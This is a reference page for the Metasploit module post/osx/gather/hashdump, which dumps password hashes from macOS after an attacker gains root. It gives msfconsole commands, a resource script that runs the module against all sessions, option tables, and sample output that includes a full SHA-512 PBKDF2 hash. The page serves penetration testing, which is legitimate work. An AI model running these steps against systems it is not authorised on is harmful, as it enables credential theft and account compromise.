OS X Gather Mac OS X Password Hash Collector - Metasploit


This page contains detailed information about how to use the post/osx/gather/hashdump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OS X Gather Mac OS X Password Hash Collector
Module: post/osx/gather/hashdump
Source code: modules/post/osx/gather/hashdump.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports versions 10.3 to 10.14.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/gather/hashdump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/gather/hashdump
msf post(hashdump) > show options
    ... show and set options ...
msf post(hashdump) > set SESSION session-id
msf post(hashdump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/gather/hashdump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports versions 10.3 to 10.14.

Verification Steps


  1. Start msfconsole
  2. Get a root privileged shell
  3. Do: use post/osx/gather/hashdump
  4. Do: set session #
  5. Do: run
  6. You should see hashes dumped and stored to creds (if db is connected)

Options


MATCHUSER A regex to run against usernames. Only matched usernames will have their hashes dumped.

Scenarios


User level shell on OSX 10.14.4

msf5 post(osx/gather/hashdump) > run

[-] Post aborted due to failure: bad-config: Insufficient Privileges: must be running as root to dump the hashes
[*] Post module execution completed

Root level shell on OSX 10.14.4

msf5 post(osx/gather/hashdump) > run

[*] Attempting to grab shadow for user nobody...
[*] Attempting to grab shadow for user h00die...
[+] SHA-512 PBKDF2:h00die:$ml$67012$52a3da29923ab1680ae7c28b40a3ba7c2386c679af0392011f706c4ec2a22475$5c935f59a173d25bd4ed5cf59464930153198ea28b70d1e4bb5fe5e39828bec8347419dc53f0f0d93f08399f30b56adcd0f9a6f6e834ba33cba58d6b35fd1021bd81e63edf2a5b2265d8c4b7908d9bcfe127cbcd3c2092d2ab58f1b7a16dc3e11e0d5a7b027c254f3f91fdeb5acc92bcf5a3cc033319f5209f635c0494854a2e
[*] Credential saved in database.
[*] Attempting to grab shadow for user root...
[*] Attempting to grab shadow for user daemon...
[*] Attempting to grab shadow for user nobody...
[*] Attempting to grab shadow for user root...
[*] Attempting to grab shadow for user daemon...
[*] Post module execution completed

Go back to menu.

Msfconsole Usage


Here is how the osx/gather/hashdump post exploitation module looks in the msfconsole:

msf6 > use post/osx/gather/hashdump

msf6 post(osx/gather/hashdump) > show info

       Name: OS X Gather Mac OS X Password Hash Collector
     Module: post/osx/gather/hashdump
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  Carlos Perez <[email protected]>
  hammackj <[email protected]>
  joev <[email protected]>

Compatible session types:
  Shell

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  MATCHUSER                   no        Only attempt to grab hashes for users whose name matches this regex
  SESSION                     yes       The session to run this module on.

Description:
  This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports 
  versions 10.3 to 10.14.

Module Options


This is a complete list of options available in the osx/gather/hashdump post exploitation module:

msf6 post(osx/gather/hashdump) > show options

Module options (post/osx/gather/hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   MATCHUSER                   no        Only attempt to grab hashes for users whose name matches this regex
   SESSION                     yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the osx/gather/hashdump post exploitation module:

msf6 post(osx/gather/hashdump) > show advanced

Module advanced options (post/osx/gather/hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the osx/gather/hashdump module can do:

msf6 post(osx/gather/hashdump) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the osx/gather/hashdump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/gather/hashdump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Insufficient Privileges: must be running as root to dump the hashes


Here is a relevant code snippet related to the "Insufficient Privileges: must be running as root to dump the hashes" error message:

38:	  end
39:	
40:	  # Run Method for when run command is issued
41:	  def run
42:	    unless is_root?
43:	      fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
44:	    end
45:	
46:	    # iterate over all users
47:	    get_nonsystem_accounts.each do |user_info|
48:	      user = user_info['name']

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Carlos Perez <carlos_perez[at]darkoperator.com>
  • hammackj <jacob.hammack[at]hammackj.com>
  • joev

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.